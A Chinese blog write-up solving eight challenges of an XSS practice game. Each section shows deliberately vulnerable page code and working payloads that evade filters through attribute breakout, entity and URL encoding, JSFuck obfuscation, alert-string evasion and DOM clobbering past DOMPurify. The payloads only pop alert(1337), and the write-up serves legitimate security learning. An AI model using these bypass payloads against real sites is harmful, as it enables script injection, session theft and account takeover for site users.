XSS Game分析以及知识点总结
XSS Game 分析以及知识点总结
最近,正在学习XSS各种Bypass姿势,发现了某位Youtuber搭建的XSS Game平台,感觉还不错,正好用来实践XSS Bypass的技巧。在此分享给大家,如有任何问题,可留言探讨。本人也是小白一个,文章中如果出现错误,请大家指正。
题目概述
每道题目会给出XSS过滤器的实现,要求在没有用户交互的前提下弹框(alert(1337)
),在Chrome下测试通过即可。话不多说,步入正文。
题目
1. Ma Spaghet
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
分析:本题基本上是送分题,没有任何过滤,二话不说直接干。
答案:<svg onload=alert(1337)>
2. Jefff
<!-- Challenge --><h2 id="maname"></h2><script> let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF") let ma = "" eval(`ma = "Ma name ${jeff}"`) setTimeout(_ => { maname.innerText = ma }, 1000)</script>
分析:本题也没有任何过滤,解题的核心在于能让jeff
这个变量里包含alert(1337)
并且能够执行,同时保证ma = "Ma name ${jeff}"
这个赋值语句的语法正确即可。可以选择使用-
进行分割。
答案:"-alert(1337)-"
。对答案稍作解释,以免小白不理解。将变量jeff
替换后,语句变为ma = "Ma name "-alert(1337)-""
。首先,这是一个合法的表达式。JS为了进行-
运算,会对每部分进行解析,在解析过程中,会执行alert(1337)
。
3. Ugandan Knuckles
<!-- Challenge --><div id="uganda"></div><script> let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?"); wey = wey.replace(/[<>]/g, '') uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`</script>
分析:从代码中可以看到,变量wey
是插入到了<input>
元素的属性中,同时对尖括号(<>
)进行了过滤。既然无法使用尖括号对<input>
标签进行闭合,那么可以尝试用双引号闭合标签内部的属性。同时,使用autofocus来自动触发onfocus事件中对应的函数,避免用户交互。
答案:"onfocus=alert(1337) autofocus="
4. Ricardo Milos
<!-- Challenge --><form id="ricardo" method="GET"> <input name="milos" type="text" class="form-control" placeholder="True" value="True"></form><script> ricardo.action = (new URL(location).searchParams.get('ricardo') || '#') setTimeout(_ => { ricardo.submit() }, 2000)</script>
分析:从代码中可以看出,用户的输入ricardo
会成为表单提交的URL地址。由于没有任何过滤,可以直接使用javascript
伪协议来执行弹框。
答案:javascript:alert(1337)
5. Ah That’s Hawt
<!-- Challenge --><h2 id="will"></h2><script> smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt") smith = smith.replace(/[(`)\]/g, '') will.innerHTML = smith</script>
分析:本题难度加大一点,过滤掉了(
)`这几个符号,显然不能直接alert(1337)
进行弹框。但是过滤器并没有考虑到HTML实体编码,所以我们可以用HTML实体编码来绕过过滤。同时,因为HTML实体编码中有&
,在传参到URL里时,要再经过一次URL编码。
答案:
<!-- 无任何编码--><svg onload="alert(1337)"><!-- HTML实体编码 --><svg onload="alert(1337)"><!-- URL编码,最终答案 -->%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E
6. Ligma
/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
分析:根据代码可见,过滤器过滤掉了所有的字母和数字。可以采用JSFuck来绕过。JSFuck可以将正常的JS代码混淆为只包含[, ], (, ), !, +
这6种字符的字符串。可查阅Github来了解JSFuck的具体工作原理。
答案:
// JSFuck转换后的alert(1337)[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()// 由于有特殊字符,需要经过URL编码"%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()"
7. Mafia
/* Challenge */mafia = (new URL(location).searchParams.get('mafia') || '1+1')mafia = mafia.slice(0, 50)mafia = mafia.replace(/[`'"+-!\[]]/gi, '_')mafia = mafia.replace(/alert/g, '_')eval(mafia)
分析:本题存在三个限制
- 截取长度50的字符串
-
`'"+-![]
被替换为_
-
alert
被替换为_
长度的限制导致我们不能像上一题一样直接使用JSFuck来绕过过滤。本题的核心是如何绕过alert
字符串的检测。可以使用如下几种办法。
- 定义匿名函数,利用匿名函数的参数构造payload,同时使用正则表达式来绕过
alert
字符串的检测。 - 利用数字和字符串之间的互相转换,来绕过针对
alert
的检测。 - 在URL地址后面加上
#${payload}
,然后通过location.hash.slice(1)
来获取payload,也能做到绕过检测。
答案:
// 匿名函数Function(/ALERT(1337)/.source.toLowerCase())()// 数字转字符串,将30进制的数字8680439转换成字符串,就是alerteval(8680439..toString(30))(1337)// 在原始的URL后面加上 #alert(1337),然后通过下面的语句将payload取出eval(location.hash.slice(1))
8. Ok, Boomer
<!-- Challenge --><h2 id="boomer">Ok, Boomer.</h2><script> boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer") setTimeout(ok, 2000)</script>
分析:本题中使用了DOMPurify
这个第三方库来过滤非法字符。同时,setTimeout(ok, 2000)
中的ok
可以接收一个函数或者字符串。如果我们能够向ok
这个变量注入可执行的payload,那么也就能成功弹框。在此,我们可以使用DOM Clobbering
的方式,通过向HTML注入DOM元素,来实现操作JavaScript变量。
首先,要构造一个变量ok
,我们可以通过创建一个id=ok
的DOM元素来实现,比如<div id="ok"></div>
。
然后,要考虑如何构造alert(1337)
这个字符串。ok
需要接受一个字符串作为值,而在对<a>
标签调用toString()
方法时,会返回属性href
的值。所以,我们可以选择<a>
标签作为构造对象。href
的值要遵守protocol:uri
的格式。然而,在href
里直接使用javascript:
协议是不行的。通过查看DOMPurify
的源码可以发现,它支持的合法的协议有mailto, tel, xmpp
等等,随便选择一个即可。
答案:<a id=ok href=tel:alert(1337)>
关于DOM Clobbering的讲解,可以参考这篇文章
总结
通过这次的XSS Game,学习到了以下几点常用技巧:
-
-
能够用来闭合HTML标签内部属性。 -
onfocus
和autofocus
配合自动触发payload执行。 -
javascript:
伪协议执行payload。 - HTML实体编码+URL编码绕过某些特殊符号过滤。
- JSFuck混淆代码。
- 数字转字符串和构造匿名函数绕过对某些特定字符串(比如alert)的检查。
- DOM Clobbering,通过注入HTML元素,实现对JavaScript变量的赋值操作。
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 单元测试框架怎么搭?新版的Junit5有哪些神奇之处?
- 开源179个Flutter组件的详细使用介绍
- 10 个你可能还不知道 VS Code 使用技巧
- Flutter 步骤进度组件
- 慌:一次订单号重复,差点被开除
- Flutter 分页功能表格控件
- 3分钟短文:Laravel 从软删除说到模型作用域的概念
- Flutter 系统是如何实现ExpansionPanelList的
- Flutter 粘合剂CustomScrollView控件
- Flutter 1.17版本重磅发布
- Flutter 首页必用组件NestedScrollView
- 【Flutter实战】文本组件及五大案例
- 你真的会用Flutter日期类组件吗
- 【Flutter实战】图片组件及四大案例
- Flutter 标签类控件大全Chip